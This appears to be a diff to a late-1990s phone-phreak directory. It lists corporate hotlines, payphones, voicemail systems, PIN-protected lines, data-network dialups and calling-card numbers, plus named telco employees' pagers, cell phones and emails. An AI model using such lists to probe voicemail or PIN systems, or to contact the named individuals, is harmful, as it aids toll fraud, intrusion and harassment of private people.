+1-800-COMP-USA CompUSA Stores and Customer Service.
+1-800-DEFENDER Net Zero. (free Internet service)
+1-800-IOPENER Netpliance.
+1-800-OK-CANON Canon Canada.
+1-800-ORACLE-1 Oracle Direct Response Sales and Marketing Department.
+1-800-PSI-1141 PSINet.
+1-800-PEOPLEPC People PC Computer and Internet Service.
+1-800-SCO-UNIX SCO Services Sales.
+1-800-TOSHIBA Toshiba Computer Systems.
+1-877-208-4717 Rogers@Home.
+1-877-584-5551 AltaVista free access support line. (free Internet)
+1-877-727-3375 MinIowa Help Desk.
+1-877-EXECULINK ExecuLink Internet Services.
+1-877-HOWEWORK Dell.
+1-877-NOVELL-1 Novell.
+1-877-SHARP-22 Sharp Canada Customer Care Center.
+1-877-YOUR-MSN Micro$oft Network.
+1-88-TELIGENT Teligent.
+1-888-267-3856 Compaq.
+1-888-288-4663 Rogers@Home Technical Support.
+1-888-321-3737 VIF Internet.
+1-888-4-SENTEX Sentex Communications.
+1-888-453-9226 Lexmark Canada.
+1-888-478-2730 I-Star Internet Incorporated.
+1-888-622-3289 Fastekk Systems.
+1-888-673-8925 Micro$oft's Y2K Disclosure Line.
+1-888-692-1122 CompuServe.
+1-888-700-3279 InterTel Network Solutions.
+1-888-714-6695 Scarborough Computers (Authorized Shaw@Home Retailer)
+1-888-750-6990 Shaw@Home Technical Support.
+1-888-755-7068 Sun Microsystems Fax. (Mountain View, MA)
+1-888-786-2310 Sun Microsystems. (Broomfield, CO)
+1-888-786-3463 Sun Microsystems. (Palo Alto, CA)
+1-888-791-0176 Primus Canada (iPrimus)
+1-888-839-9295 IBM Haliburton Service Desk.
+1-888-843-5282 Sun Microsystems Software Products and Platforms Sales Group.
+1-888-858-4PSI PSINet Canada.
+1-888-871-5111 Hewlett-Packard Computer Supplies.
+1-888-DELL-PCS DELL Canada.
+1-888-IBM-5800 IBM Small Business Solutions Center.
+1-888-PSI-NET1 PSINet Limited.
+1-888-PSI-NET2 PSINet Limited.
+1-888-SHOP-IBM Shop IBM. (Ext 7300, 7311 or 7320)
+
+
+-------------------------------------------------------------------------------
+ Miscellaneous Numbers:
+-------------------------------------------------------------------------------
+
+(214) 275-4206 Robert Ray in Dallas, Texas. Call him collect!
+(303) 499-7111 Atomic Clock in Colorado.
+(312) 408-1400 TU (Trans Union)
+(435) 855-3326 DefCon Voice Bridge (hack/phreak discussions and chats)
+(937) 445-4357 NCR HQ. (option 2)
+
+1-800-200-0068 Call Interactive. (listen to male and female voices)
+1-800-205-6700 Coolemail.com
+1-800-221-2255 American Airlines VMS.
+1-800-222-5000 AAA's Air, Hotel and Car Reservations.
+1-800-222-6000 Box 6853968 (NUKEYOU) Damage, INC. VMB.
+1-800-222-TIPS Crime Stoppers.
+1-800-225-5101 Cable Guide Hotline.
+1-800-225-5455 Johnson and Johnson VMS.
+1-800-225-5627 (1-800-CALL-NCR) NCR Customer Support.
+1-800-225-5854 Meridian Mail VMB.
+1-800-225-5921 Highlander Sale Catalog. (for ordering Scottish merchandise!)
+1-800-255-3700 Nintendo.
+1-800-263-0656 NCR.
+1-800-263-1136 Statistics Canada.
+1-800-265-0977 NCR.
+1-800-265-MUCH MuchMusic. (Much On Demand)
+1-800-267-1177 Canada Post.
+1-800-267-7000 Royal Canadian Mint.
+1-800-289-6241 Mag-Lite flashlights.
+1-800-331-9922 General Motors Shareholder's Services.
+1-800-334-2564 (1-800-3-DIALOG) Dialog Information Service WHQ.
+1-800-336-6000 Audix VMB.
+1-800-353-0809 Call to remove yourself from Credit Card company lists.
+1-800-360-2255 Century 21 Realty VMS.
+1-800-387-4636 Nestle Canada.
+1-800-387-8240 NCR.
+1-800-387-8300 NCR Help Desk and Call Management Center.
+1-800-388-PIR8 SPA Anti-Piracy Hotline. (the official warez d00d ratline)
+1-800-4-DOTCOM Network Solutions. (the Dot Com people)
+1-800-400-VIEW Rogers Cable Viewer's Choice.
+1-800-407-2247 Quaker Oats Company.
+1-800-418-6245 Blockbuster's VMS.
+1-800-421-7944 NCR Benefits Service Center.
+1-800-425-1111 Pepsi Cola Atlantic Customer Service.
+1-800-426-0000 Systematic. (these people aren't very phreakymatic)
+1-800-439-2204 Brewer's Retail Help Desk. (The Beer Store - ask for free beer!)
+1-800-452-9996 Statistics Canada.
+1-800-461-2800 Canadian Tire Cardholder Services.
+1-800-461-5161 NCR Canada Emergency Parts Order Desk.
+1-800-465-1176 Meridian Mail VMB.
+1-800-468-1714 Hershey Canada.
+1-800-472-5451 Hershey Canada Inc.
+1-800-488-7040 ADT Security.
+1-800-501-1150 Hershey Canada Inc. (French)
+1-800-501-6245 Database America's answering machine.
+1-800-541-6821 Super Bureau Inc. (find documents on almost anyone)
+1-800-555-1313 SkyTel VMB.
+1-800-555-1560 Audix VMB.
+1-800-555-6620 Meridian Mail VMB.
+1-800-557-6245 Saloman Smith Barney VMS.
+1-800-565-6317 Cadbury.
+1-800-5678-HMV HMV Music Store.
+1-800-627-2303 (1-800-NCR-2303) NCR Corporation Shareholder Services.
+1-800-663-1243 Adbusters Media Foundation. (Culture Jamming)
+1-800-663-7780 NCR Invoicing Department.
+1-800-666-1474 American Coin Machine.
+1-800-668-1417 Global Business Centers.
+1-800-668-3979 Bestobell Canada Ltd (Toronto)
+1-800-669-1800 Burger King's VMB. (4 digit BNs)
+1-800-672-3888 National Rifle Association Hotline.
+1-800-678-8774 Source Resources (the source for finding people)
+1-800-682-7654 Experion Credit checks/reports. (formerly TRW)
+1-800-685-1101 CB (Equifax)
+1-800-685-1102 CB (Equifax)
+1-800-685-1103 CB (Equifax)
+1-800-685-1104 CB (Equifax)
+1-800-685-1111 CB (Equifax)
+1-800-685-3968 (1-800-NUKE-YOU) is VoiceComm.
+1-800-707-0570 Ad Ventures Inc.
+1-800-724-3780 Seiger Electronics.
+1-800-724-6644 Ext. #22783700 Phone Losers of America VMB.
+1-800-777-2255 Phone Works VMS.
+1-800-792-1000 Columbia House CD-ROM Club.
+1-800-800-8800 Target Directory.
+1-800-842-2255 American Express VMS (Audix)
+1-800-888-4848 Subway's VMS.
+1-800-889-6245 "Belen Hell" VMS. (VMB="#") (Dir.="3")
+1-800-892-3351 National Rifle Association (Join the NRA Now!)
+1-800-909-3250 Meridian Mail VMB.
+1-800-909-4672 National Rifle Association (NRA)
+1-800-925-6278 (1-800-WAL-MART) WAL-MART Directory.
+1-800-939-4484 ITI (Information Technology Institute)
+1-800-949-6245 Phone Mail VMB.
+1-800-954-6245 OcTel VMB.
+1-800-CRIME-TV America's Most Wanted.
+1-800-DIRECTV DirecTV. (satellite television)
+1-800-FIRST-CALL First Call. (Cable Locate Service)
+1-800-GETEVOICE eVoice by Nokia. (call to sign up for a free VMB)
+1-800-GO-FEDEX FedEx.
+1-800-KRAMERS The Real Kramer's Reality Tour in New York City.
+1-800-MOLSON-1 Molson Canada.
+1-800-NY-TIMES New York Times Customer Service.
+1-800-O-CANADA Government of Canada.
+1-800-ONTARIO Travelinx Ontario. (Tourism Information)
+1-877-326-2826 NCR Bell Help Desk.
+1-877-450-9488 Wraith Tech Industries Main Number. (24/7)
+1-877-66-TRIOS TriOS Training Centres. (MCSE, Unix, Novell)
+1-877-724-2647 "Security" loser.
+1-877-875-2762 Pioneer Help Line.
+1-877-925-6278 (1-800-WAL-MART) Customer and Associates Service Hotline.
+1-888-25-GREAT Cleveland Hotline.
+1-888-256-5678 NCR AlertLine.
+1-888-339-1688 MediaOne.
+1-888-349-6972 Micron Electronics Technical Support.
+1-888-504-2355 "Tony Bell" from Remax.
+1-888-536-2355 "This is Ken Bell." (Voice)
+1-888-663-3279 Canada Trust Co.
+1-888-751-8088 Guinness World Records.
+1-888-EMAIL-ME College Club Free VoiceMail. (U.S. only)
+1-888-STAR-602 Star Choice Customer Service. (Satellite television)
+1-888-STCK-NCR NCR Corporation Associates Stock Ownership at Merrill Lynch.
+1-888-TEL-CORD "This is Roy." (ask for your telephone cord back!)
+
+
+-------------------------------------------------------------------------------
+ Payphones:
+-------------------------------------------------------------------------------
+
+(214) 381-9151 Vecta's Food Store on Jim Miller and Bruton Road Dallas, TX. (O)
+(214) 824-9028 Sparkle Car Wash in 1600 Block of Haskell Dallas, Texas. (O)
+(214) 841-4719 Sparkle Car Wash in 1600 Block of Haskell Dallas, Texas. (O)
+(214) 841-9840 Lizzard Lounge Dallas, TX. (O)
+(519) 322-2033 Point Pelee Park. (A) (O)
+(519) 570-9131 Kitchener, ON.
+(519) 571-5092 Paytel Payphone on Highland Rd at GOCO gas station. (C) (O)
+(519) 576-0354 Paytel Payphone on Weber Street in Kitchener, ON. (C) (O)
+(519) 576-5239 King Street Kitchener, ON. (M) (O)
+(519) 576-9444 King Street Kitchener, ON. (M) (O)
+(519) 578-9318 Highland Road Kitchener, ON. (M) (O)
+(519) 579-2111 Wink's Sunoco on Highland Rd Kitchener, ON. (M) (O)
+(519) 744-3349 1st Canadian Telecom at Queen & Duke St. Kitchener, ON. (C) (O)
+(519) 746-0329 WLU Arts Building E Wing 1st Floor. (M) (I)
+(519) 746-1488 University of Waterloo Davis Centre. (M) (I)
+(519) 746-1488 University of Waterloo. (M) (I)
+(519) 746-1838 University of Waterloo Davis Centre. (DM) (I)
+(519) 746-1856 Wilfred Laurier University Aird Dining Hall East. (M) (I)
+(519) 746-2685 UofW South Campus Computer & Math Building 2nd Floor. (M) (I)
+(519) 746-2801 University of Waterloo Davis Centre. (M) (I)
+(519) 746-2801 University of Waterloo. (M) (I)
+(519) 746-3561 UofW South Campus Computer & Math Building 2nd Floor. (M) (I)
+(519) 746-3793 University Shops Plaza II Waterloo, ON. (M) (O)
+(519) 746-4006 University of Waterloo Davis Centre Library entrance. (DM) (I)
+(519) 746-4606 University of Waterloo. (M) (I)
+(519) 746-4654 UofW South Campus Physical Activities Center. (DM) (I)
+(519) 746-6280 University of Waterloo. (M) (I)
+(519) 746-6434 UofW South Campus Physical Activities Center. (M) (I)
+(519) 746-7039 University Shops Plaza II Waterloo, ON. (M) (O)
+(519) 746-7107 WLU Alvin Wood Concourse. (M) (I)
+(519) 746-7787 University Shops Plaza II Waterloo, ON. (M) (O)
+(519) 746-8751 University of Waterloo Davis Centre Library entrance. (DM) (I)
+(519) 746-8751 University of Waterloo. (M) (I)
+(519) 746-9070 University Shops Plaza II Waterloo, ON. (M) (O)
+(519) 746-9093 UofW South Campus Physical Activities Center. (M) (I)
+(519) 746-9094 University of Waterloo. (M) (I)
+(519) 746-9113 University of Waterloo Davis Centre. (M) (I)
+(519) 746-9115 University of Waterloo Davis Centre. (M) (I)
+(519) 746-9134 WLU Aird First Floor Dining Hall Lower Level. (M) (I)
+(519) 746-9172 East Side Marios University St. Plaza Waterloo, ON. (M) (I)
+(519) 746-9203 UofW South Campus Computer & Math Building 2nd Floor. (M) (I)
+(519) 746-9208 UofW South Campus Computer and Math Building 3rd Floor. (M) (I)
+(519) 746-9209 UofW South Campus Computer and Math Building 3rd Floor. (M) (I)
+(519) 746-9236 UofW South Campus Physical Activities Center. (M) (I)
+(519) 746-9241 UofW South Campus Physical Activities Center. (M) (I)
+(519) 746-9252 Wilfred Laurier University Library Basement. (M) (I)
+(519) 746-9263 UofW South Campus Physical Activities Center. (M) (I)
+(519) 746-9271 UofW South Campus Computer and Math Building 3rd Floor. (M) (I)
+(519) 746-9273 Wilfred Laurier University Alvin Wood Concourse. (M) (I)
+(519) 746-9277 UofW South Campus Physical Activities Center. (M) (I)
+(519) 746-9305 University Shops Plaza I Waterloo, ON. (M) (O)
+(519) 746-9324 UofW South Campus Computer & Math Building 2nd Floor. (M) (I)
+(519) 746-9368 UofW South Campus Computer and Math Building 3rd Floor. (M) (I)
+(519) 746-9497 UofW South Campus Computer and Math Building 3rd Floor. (M) (I)
+(519) 746-9498 UofW South Campus Computer and Math Building 3rd Floor. (M) (I)
+(519) 746-9580 Wilfred Laurier University Library Basement. (M) (I)
+(519) 746-9591 University of Waterloo Davis Centre. (M) (I)
+(519) 746-9591 University of Waterloo. (M) (I)
+(519) 746-9592 UofW South Campus Physical Activities Center. (M) (I)
+(519) 746-9593 University of Waterloo Davis Centre. (M) (I)
+(519) 746-9594 University of Waterloo Davis Centre. (M) (I)
+(519) 746-9602 WLU Aird First Floor Dining Hall Lower Level. (M) (I)
+(519) 746-9624 Wilfred Laurier University Aird Dining Hall East. (M) (I)
+(519) 746-9626 UofW South Campus Bus Stop near Davis Centre Library. (M) (O)
+(519) 746-9628 UofW South Campus Bus Stop on Ring Road. (M) (O)
+(519) 746-9630 UofW South Campus Ira G Needles Hall Bus Stop. (M) (O)
+(519) 746-9631 University of Waterloo South Campus Bus Stop. (M) (O)
+(519) 747-5773 1st Canadian Telecom at Weber St. Short Stop Kitchener. (C) (O)
+(519) 747-9422 1st Canadian Telecom at Weber St. Short Stop Kitchener. (C) (O)
+(519) 749-7015 1st Canadian Telecom at Belmont Short Stop Kitchener. (C) (O)
+(519) 749-8011 1st Canadian Telecom at Highland Short Stop Kitchener. (C) (O)
+(519) 749-8857 Paytel on University Ave and Moore in Waterloo, ON. (C) (O)
+(519) 749-8877 1st Canadian Telecom at Queen St. Short Stop Kitchener. (C) (O)
+(519) 749-9081 Mr. Sub on Highland and Westmount Kitchener, ON. (CE) (O)
+(519) 749-9113 Medical Center at 18 Pine St. Kitchener First Floor. (CE) (I)
+(519) 749-9335 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9357 King and Gaukel Street Kitchener, ON. (M) (O)
+(519) 749-9407 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9462 AT&T Canada payphone at Esso on Fisher Hallman. (C) (O)
+(519) 749-9470 King and Breithaopt Tim Hortons Kitchener, ON. (M) (O)
+(519) 749-9503 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9505 King and Benton Street. Kitchener, ON. (M) (O)
+(519) 749-9524 King and Water Street. Kitchener, ON. (CE) (O)
+(519) 749-9535 King Street. (near Benton St.) Kitchener, ON. (M) (O)
+(519) 749-9539 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9578 King Street. (near Queen St.) Kitchener, ON. (M) (O)
+(519) 749-9607 Glasgow Heights Tim Hortons Waterloo, ON. (M) (O)
+(519) 749-9609 Queen Street across from Encore Records. Kitchener, ON. (CE) (O)
+(519) 749-9627 King Street. (near Queen St.) Kitchener, ON. (M) (O)
+(519) 749-9650 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9657 Kitchener Transit Bus Terminal. (M) (O)
+(519) 749-9659 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9662 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9704 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9710 Glasgow Heights Tim Hortons Waterloo, ON. (M) (O)
+(519) 749-9732 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9749 Kitchener Transit Bus Terminal. (M) (O)
+(519) 749-9782 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9784 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9786 King and Breithaopt Tim Hortons Kitchener, ON. (M) (O)
+(519) 749-9893 Kitchener Transit Bus Terminal. (M) (O)
+(519) 883-1061 University Shops Plaza I Waterloo, ON. (M) (O)
+(519) 883-1384 University Shops Plaza I Waterloo, ON. (M) (O)
+(519) 883-8361 Wilfred Laurier University Alvin Wood Concourse. (M) (I)
+(519) 885-3211 WLU Arts Building E Wing 1st Floor. (M) (I)
+(519) 885-3297 WLU Arts Building E Wing 1st Floor. (M) (I)
+(519) 885-5058 WLU Arts Building E Wing 1st Floor. (M) (I)
+(519) 886-7899 UofW South Campus Physical Activities Center. (M) (I)
+(519) 886-8112 UofW South Campus Physical Activities Center. (M) (I)
+(519) 886-8330 UofW South Campus Physical Activities Center. (M) (I)
+(519) 888-0094 UofW South Campus Physical Activities Center. (M) (I)
+(519) 888-0107 Wilfred Laurier University Students Union Ground Floor. (M) (I)
+(519) 888-0837 UofW South Campus Physical Activities Center. (M) (I)
+(519) 888-6434 UofW South Campus Physical Activities Center. (M) (I)
+(519) 888-7236 University Shops Plaza II Williams Coffee Pub. (M) (I)
+(519) 888-9046 Wilfred Laurier University Students Union. (M) (I)
+(519) 888-9074 UofW South Campus Physical Activities Center. (M) (I)
+(519) 888-9309 Wilfred Laurier University Students Union. (M) (I)
+(519) 894-5919 AT&T Canada payphone at Esso on Courtland & Manitou. (C) (O)
+(705) 328-9710 Payphone at 98 Albert St. in Lindsay, ON. (A) (O)
+(760) 733-9969 Mojave Desert Phone Booth in California. (A) (O)
+(810) 784-9018 Armada, Michigan High School. (A) (I)
+(905) 946-9953 Coffee Time in Markham, ON. (A) (I)
+
+(A)=Accepts Incoming Calls, (C)=COCOT, (CE)=Centurion, (DM)=Desktop Millennium,
+(I)=Indoors, (M)=Millennium, (O)=Outdoors.
+
+For more payphone numbers, visit www.payphone-directory.org
+
+
+-------------------------------------------------------------------------------
+ Telco Employees (Answering Machines and Pagers):
+-------------------------------------------------------------------------------
+
+(204) 941-7654 June Kirby MTS Director Corporate Communications.
+(204) 941-8283 Brad Woods MTS Director Investor Relations.
+(416) 350-0573 Bell Canada Media Relations (Irene Shimoda)
+(416) 377-3724 Mike Turner's Pager (works for Bell)
+(416) 379-2117 Dave Twiner's Pager (works for Bell)
+(416) 452-4626 Caroline Verboon of GPC. (cell phone)
+(416) 453-5501 George Ross with Telecom Canada. (cell phone)
+(416) 581-3311 Bell Canada Media Relations (Don Hogarth)
+(416) 581-3311 irene.shimoda@bell.ca
+(416) 598-0055 GPC Communications (Caroline Verboon)
+(416) 941-7026 Bell Canada Media Relations Pager. (Irene Shimoda)
+(514) 391-2007 Bell Canada Media Relations (Louis Arseneault)
+(514) 786-3655 shirley.bishop@bell.ca
+(514) 786-3908 Jean-Charles Robillard with Bell Canada.
+(514) 870-2488 Bell Canada Investor Relations (Frank Miscio)
+(514) 918-3617 Jean-Charles Robillard (cell phone)
+(604) 432-2663 Doug Strachan with TELUS.
+(613) 660-1186 Bell Canada's Voice Information Processing System.
+(613) 660-2355 Bell Canada's Voice Information Processing System.
+(613) 660-6708 Roxanne Halverson with Bell Canada.
+(613) 660-6709 Bell Canada's Voice Information Processing System.
+(613) 660-6710 Stentor Communications. (Isabelle Lanteigne)
+(613) 660-6711 Stentor Communications. (French employee)
+(613) 660-6712 Stentor Communications. (Louisse)
+(613) 660-6713 Stentor Emergency Operations Centre.
+(613) 660-6982 Stentor 2000 Information Line.
+
+1-800-272-4835 Steve Freedlander with Ameritech. (Answering Machine)
+1-800-407-2355 John with Southwestern Bell Wireless.
+1-800-455-6813 Jack Hogan of MCI WorldCom's Pager.
+1-800-465-9625 Bell Canada Media Relations (Shirley Bishop)
+1-800-483-6390 Scott's Pager (Qwest Communications)
+1-800-483-7695 Scott from Americom's Pager/Voicemail.
+1-800-493-2603 Kimberly Smith at Qwest Communications.
+1-800-519-6245 TONE then "Sprint - Kimberly Martin." (Answering Machine)
+1-800-661-0480 Debbie Southerland of Bell ActiMedia.
+1-877-391-2007 Bell Canada Media Relations (Louis Arseneault)
+1-888-482-0809 Bell Canada Media Relations (Irene Shimoda)
+
+
+-------------------------------------------------------------------------------
+ Numbers that Require PINs:
+-------------------------------------------------------------------------------
+
+(416) 350-9024 "Enter your PIN number now."
+1-800-235-3155 "Welcome. Enter the PIN number you wish."
+1-800-249-6245 "Please enter your 7 digit access code."
+1-800-309-6678 "Please enter your PIN number now."
+1-800-352-8201 "Please enter your 4 digit PIN."
+1-800-525-7877 "Please enter your 4 digit PIN."
+1-800-549-6245 "Welcome. Enter the PIN number you wish."
+1-800-555-2250 "Enter the PIN number you wish."
+1-800-566-6245 "Please enter your four digit PIN."
+1-800-643-6245 "Enter ID number immediately followed by your security code."
+1-800-749-4200 "Enter the PIN number you wish."
+1-800-827-4780 "Please enter your PIN number."
+1-800-827-9910 SkyTel. "Enter the PIN number you wish."
+1-800-862-6340 "Please enter your 4 digit PIN."
+1-888-612-2355 "Enter the PIN number you wish."
+1-888-614-2355 "Enter the PIN number you wish."
+1-888-623-2355 "Enter the PIN number you wish."
+1-888-684-4466 "Enter the PIN number you wish."
+
+
+-------------------------------------------------------------------------------
+ Carriers:
+-------------------------------------------------------------------------------
+
+(416) 361-3028 MCI/CompuServe Dialup.
+(416) 594-1121 SprintNet Dialup.
+(519) 821-4950 AT&T Canada PSN. (dialup with 40 lines)
+1-800-222-0555 Tymnet Dialup.
+1-800-234-1998 Digital Equipment Corp. Electronic Store. (Online Shopping)
+1-800-234-6245 MCI (USA)
+1-800-283-5474 Okidata (inside joke!)
+1-800-346-3247 CompuServe.
+1-800-368-7244 AT&T Information Access Services SignOn/Pwd (USA)
+1-800-368-7247 AT&T Information Access Services SignOn/Pwd (USA)
+1-800-472-INET Unisys, UEN Internet Access Gateway - Eagan, MN
+1-800-546-2500 Sprint's online directory of SprintNet local access numbers.
+1-800-565-8805 Datapac WATS access number.
+1-800-604-6245 Digital Equipment Corporation.
+1-800-624-5123 AT&T STATION ID - C2/34.11 Canada 2 Datakit.
+1-800-692-8872 (1-800-MY-ATT-PC) NCR Global Support Center BBS. (3 lines)
+1-800-843-0378 MCI/CompuServe Dialup.
+1-800-848-4480 MCI WorldCom Network Assistance. (lists local access numbers)
+1-803-939-8207 NCR Global Support Center BBS. (9 lines)
+
+(Use the N-8-1 setting to connect to the carriers above.)
+
+
+-------------------------------------------------------------------------------
+ Cellular, PCS, Messaging and Paging Services:
+-------------------------------------------------------------------------------
+
+1-800-214-4488 Wireless Solutions Hotline.
+1-800-222-8466 Cellular Rentals.
+1-800-227-3663 (1-800-CAR-FONE) Ericsson.
+1-800-225-5152 Nationwide Messaging.
+1-800-235-1414 National Telewire Message Centre.
+1-800-244-7464 Scot Forge. (Mobile Telephone Equipment)
+1-800-258-2669 Answer America. (Telephone Answering Service)
+1-800-263-7536 Nokia Mobile Phones.
+1-800-264-2355 (1-800-ANI-CELL) Cellular South Answer Center.
+1-800-267-9010 Message Center Dispatch.
+1-800-274-3127 MobileCom's National Customer Service Center.
+1-800-320-3488 Motorola Radio Network Services. (San Diego, CA)
+1-800-329-7402 ProPage (Paging and Voicemail)
+1-800-333-6414 Answerfone, Inc. (Answering Service)
+1-800-361-1319 Motorola Canada.
+1-800-367-2346 Motorola Telecommunications Administration.
+1-800-374-2355 InterCall.
+1-800-374-2776 (1-800-ERICSSON) Ericsson Mobile Phones Customer Care Center.
+1-800-377-2288 Mountain West Communications. (Telephone Answering Service)
+1-800-381-7707 Rogers Cantel Service. (Barrie, ON)
+1-800-387-9000 Jetco Companies. (press "4" - InTouch Canada Cell Phone Rentals)
+1-800-405-6543 American Mobile.
+1-800-411-2355 Car Phone Store.
+1-800-432-2355 Air Touch Paging.
+1-800-438-2355 Kentucky Cellular.
+1-800-443-5464 Cue Paging Customer Service.
+1-800-446-6744 Motorola Supplier/Customer Training Services.
+1-800-452-2355 Appalacian Wireless.
+1-800-453-0920 Motorola IDEN Customer Services.
+1-800-455-2948 SkyWard Message Center.
+1-800-456-3333 SkyTel National Sales Center.
+1-800-460-2255 Pager Service.
+1-800-461-4575 Motorola Cellular Customer Service.
+1-800-474-2355 OmniCell Technologies Incorporated.
+1-800-481-2355 ATI Cellular.
+1-800-483-5010 Cellular Express.
+1-800-488-2355 Cellular 2000.
+1-800-496-2355 Nationlink.
+1-800-518-2355 CellToys International. (Cellular, PCS, accessories etc.)
+1-800-523-2337 ProPage.
+1-800-535-2489 Cellular City in Las Vegas, NV (Cellular Rentals and Service)
+1-800-538-4715 Le Tip International. (Paging, Signaling Equipment and Systems)
+1-800-543-7658 Cue Paging Customer Service.
+1-800-547-8444 B&B Beepers Activation Line.
+1-800-548-7172 Comstock Answering and Services.
+1-800-549-2355 Advanced Cellular and Paging.
+1-800-569-8840 Answer Point Telephone Equipment. (Reno, NV)
+1-800-590-2355 ATI Cellular.
+1-800-613-2355 Cellular Unlimited.
+1-800-625-8885 Tab Beepers. (Wireless Communications)
+1-800-626-2636 SNET Page 2000. (Paging Services)
+1-800-634-0958 Palco Telecom Service Inc. (Telephone Equipment and Repairs)
+1-800-638-2355 Comcev Cellular Communications.
+1-800-642-9378 Mountain West Communications. (Telephone Answering Service)
+1-800-654-6115 Business Communications Distributors (BCD) Telephone Equipment.
+1-800-667-7243 Cantel AT&T Paging.
+1-800-673-2355 Quintex Cellular.
+1-800-6AIR-TOUCH Air Touch Paging Canada.
+1-800-705-2355 OmniCell Technical Department VMS.
+1-800-706-2355 Paging Service Center.
+1-800-724-2355 AllCell Rentals.
+1-888-736-8567 Motorola.
+1-800-742-2355 Mobile Media.
+1-800-749-9977 TSR Wireless.
+1-800-759-2355 Plymouth Bell Laboratories.
+1-800-765-2355 Isralink Communications. (Israeli Cell phones)
+1-800-794-2355 Advantage Communications Systems.
+1-800-806-2355 Advantage Paging.
+1-800-821-2355 MobileCom.
+1-800-821-5425 Metro-Call. (Paging, Signaling Equipment and Systems)
+1-800-824-2337 The Wireless Store.
+1-800-824-9755 Cue Paging Sales. (Paging, Signaling Equipment and Systems)
+1-800-825-2222 The 800 Connection. (Answering Service)
+1-800-825-2255 Metro-Call Customer Service. (Pager service)
+1-800-854-2355 MobileCall accounts.
+1-800-858-8828 Cue Paging Corporation.
+1-800-866-2770 MobileCom. (Pager service)
+1-800-866-7000 MobileCom.
+1-800-871-2355 The Phone Man. (I'm fucking serious... Haha)
+1-800-872-6222 American Mobile Satellite Communications Products. (U.S. only)
+1-800-874-6387 Trellis Communications.
+1-800-887-2255 Trellis Premier Voice Mail and Paging.
+1-800-890-7243 Metro-Call Pagers.
+1-800-922-5469 SNET Wireless Services.
+1-800-926-2355 Ubet Wireless.
+1-800-951-2355 Cantel Communications.
+1-800-969-9998 Cable and Wireless USA.
+1-800-980-2355 Light Cellular.
+1-800-999-6500 Cable and Wireless Customer Care Center.
+1-800-SKY-8888 SkyTel System Access.
+1-800-SKY-FAXE SkyFax (SkyTel Faxing)
+1-800-SKY-GRAM Skyward (SkyTel Alpha-Numeric Paging)
+1-800-SKY-PAGE SkyPager (SkyTel Numeric Paging)
+1-800-SKY-TALK SkyTalk (SkyTel Voice Mail)
+1-800-SKYTEL-5 SkyTel.
+1-800-WIRELESS Page USA.
+1-877-240-1267 Cantel Centre De Communication Tech.
+1-877-499-1270 PageNet Wireless Messaging Network.
+1-877-4-BELLCO Cellular Connection.
+1-877-948-4968 (1-877-WITH-YOU) Frontier Cellular.
+1-877-AIRFONE Message Center.
+1-877-CELLPHONE Travel Phone. (Cellular Sales)
+1-877-MOTOROLA Motorola.
+1-877-ROGERS-1 Rogers Corporation.
+1-877-ROGERS-2 Rogers AT&T Wireless Automated Self-Service System.
+1-877-SATPHONE Globalstar Customer Care. (Satellite Communications)
+1-877-WIRELESS Cellular Depot.
+1-888-229-4443 Cantel AT&T Canada.
+1-888-257-8826 Cantel Centre de Communication.
+1-888-300-2355 Consolidated Wireless Corporation.
+1-888-444-2355 Maricell Cellular.
+1-888-481-FIDO Fido PCS Services.
+1-888-540-2222 Clearnet Business Communications Center.
+1-888-593-2355 S&E Cellular.
+1-888-594-SNET SNET Prepaid Cellular Services.
+1-888-622-RENT Rent Express. (Bell Mobility phone rentals)
+1-888-638-2355 Cantel AT&T.
+1-888-694-2355 Corporate Communications at AirTouch Customer Service.
+1-888-801-2355 Cell Phones and Accessories.
+1-888-877-2355 Comcev Communications.
+1-888-879-2355 Portable Communications. (The home of the Phone Man)
+1-888-901-2355 Digital Communications.
+1-888-902-2355 NewTech Wireless. (Paging, cellular, equipment, etc.)
+1-888-968-2355 Everything Wireless.
+1-888-999-2355 Downtown Wireless.
+1-888-CELL-COM CellCom and PageCom.
+1-888-MOTOROLA Motorola.
+1-888-WIRELESS Page USA.
+
+
+-------------------------------------------------------------------------------
+ Free Disks:
+-------------------------------------------------------------------------------
+
+1-800-232-7638 AEC Software Technical Support. (free Windows or Mac disk)
+1-800-395-8425 EarthLink Sprint Sales.
+1-800-453-3972 Datatrack (ask for Windows Atlas Equipment Manager demo disk)
+1-800-487-4838 CompuServe.
+1-800-554-4008 Discovery Channel (3 free disks for Internet software)
+1-800-638-2661 EarthLink.
+1-800-742-5877 UPS (ask for their shipping software for a free disk & CD)
+1-800-773-4638 Primus Canada.
+1-800-777-9638 (1-800-SPRYNET) Sprynet - Gives you two disks.
+1-800-786-7638 (1-800-SUNSOFT) SunSoft - Free 30-day evaluation disk. (press 1)
+1-800-827-6364 America Online.
+1-800-973-1335 Suretrack Sales. (ask for a free demo disk)
+1-800-FREE-MSN Micro$oft Network Canada.
+1-800-PRODIGY Prodigy Internet Services.
+1-877-288-6626 AT&T Canada Internet Service.
+1-888-265-4357 (1-888-AOL-HELP) AOL Canada (only call for free 3«" AOL disks)
+1-888-288-1233 AT&T Canada Internet Service.
+
+
+-------------------------------------------------------------------------------
+ Calling Cards:
+-------------------------------------------------------------------------------
+
+1-800-213-0304 Talk `n Toss Calling Card.
+1-800-213-4222 Calling Card.
+1-800-225-2255 ATN Communications. (collect, calling & credit card calls)
+1-800-225-4288 ATN Communications. (collect, credit, calling card)
+1-800-225-5128 NOS automated collect, credit and calling card calls.
+1-800-225-5228 ATN Communications. (collect, credit, calling card)
+1-800-225-5233 NOS automated collect, credit and calling card calls.
+1-800-225-5268 ATN Communications. (collect, credit, calling card)
+1-800-225-5475 Smart Cards USA.
+1-800-225-5607 NOS automated collect, credit and calling card calls.
+1-800-255-8355 AllTel Calling Cards.
+1-800-265-3121 Prepaid LD.
+1-800-267-3000 World Direct calling card calls.
+1-800-276-2355 Frontier Communications Customer Service.
+1-800-277-7468 Sprint Phone Card Calls (press 1)
+1-800-279-6111 Unidial Calling Card.
+1-800-284-2255 ATN Communications. (collect, credit, calling card)
